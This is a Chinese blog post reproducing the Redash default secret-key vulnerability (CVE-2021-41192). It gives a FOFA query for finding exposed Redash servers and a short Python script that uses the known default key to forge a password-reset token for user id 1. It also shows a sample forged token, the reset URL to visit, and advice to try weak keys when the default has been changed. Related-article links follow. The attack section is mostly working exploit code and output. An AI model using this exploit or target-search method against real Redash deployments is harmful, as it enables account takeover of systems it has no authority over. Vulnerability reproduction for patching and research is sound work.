当前位置: 首页 > news >正文

Redash 默认key漏洞(CVE-2021-41192)复现

Redash是以色列Redash公司的一套数据整合分析解决方案。该产品支持数据整合、数据可视化、查询编辑和数据共享等。 Redash 10.0.0及之前版本存在安全漏洞,攻击者可利用该漏洞来使用已知的默认值伪造会话。

1.漏洞级别

中危

2.漏洞搜索

fofa

"redash"

3.影响范围

Redash < 10.0.0

4.漏洞复现

漏洞的产生主要原因是由于redash这个项目的token生成方式存在默认key,如果用户不手动修改的话,我们就可以利用他来生成一个有效的token。由于该产品的找回密码功能是通过用户的自增id生成token,因此我们可以直接生成一个有效的找回链接。
可以执行如下python代码

from itsdangerous import URLSafeTimedSerializer
if __name__ == "__main__":serializer = URLSafeTimedSerializer("c292a0a3aa32397cdb050e233733900f")key = serializer.dumps("1")print(key)
生成的有效负载:
IjEi.ZbIBdw.mxvud9Tkz_jfJ6UrVoVuffSxl18
  • 由于生成的有效负载存在过期时间,因此每次测试的时候最好重新生成一下。
  • "c292a0a3aa32397cdb050e233733900f"为默认key。如果用户手动修改了这个key,我们也可以尝试使用一些弱口令来生成负载尝试一下。
    访问路径
url/reset/IjEi.ZbIBdw.mxvud9Tkz_jfJ6UrVoVuffSxl18

如果出现即为漏洞存在
在这里插入图片描述
出现这个表示key已被修改过了
在这里插入图片描述
到这里漏洞就复现成功了。
如果有问题欢迎随时沟通~

在这里插入图片描述

http://www.lryc.cn/news/287432.html

相关文章:

  • Git学习笔记:3 git tag命令
  • 10年软件测试经验,该有什么新的职业规划?
  • 重构改善既有代码的设计-学习(四):简化条件逻辑
  • 【代码---利用一个小程序,读取文件夹中图片,将其合成为一个视频】
  • MVC 和 MVVM的区别
  • redis—Set集合
  • 【jetson笔记】vscode远程调试
  • 大数据处理流程包括哪些环节
  • C++入门篇章1(C++是如何解决C语言不能解决的问题的)
  • java复习篇 数据结构:链表第一节
  • 深入理解与运用Lombok的@Cleanup注解:自动化资源管理利器
  • 【LeetCode每日一题】2865. 美丽塔 I
  • Cute Http File Server 使用文章
  • c#算法(10)——求点到直线的距离
  • [小脚本] maya 命令行常用操作
  • 数据结构·单链表
  • Redis(秒杀活动、持久化之RDB、AOF)
  • Window安装Python和开发Pycharm
  • 技术驱动宠物健康:宠物在线问诊系统的高效搭建手册
  • 玩转k8s:yaml介绍
  • 【spdk】spdk compressdev测试
  • Linux中并发程序设计(进程的创建和回收、exec函数使用)
  • 2023年DevOps国际峰会暨 BizDevOps 企业峰会(DOIS北京站):核心内容与学习收获(附大会核心PPT下载)
  • pdf 转html 在线预览和查询
  • docker 体验怀旧游戏(魂斗罗等)
  • JS中判断数据类型总结以及方法封装
  • 【Midjourney】绘画风格关键词
  • 教你如何低成本自建「幻兽帕鲁」服务器,快速一键部署
  • 拥抱社交电商浪潮:微信小程序商城崛起引领电商新风向-亿发
  • 一个使用pyqt的word文档查重工具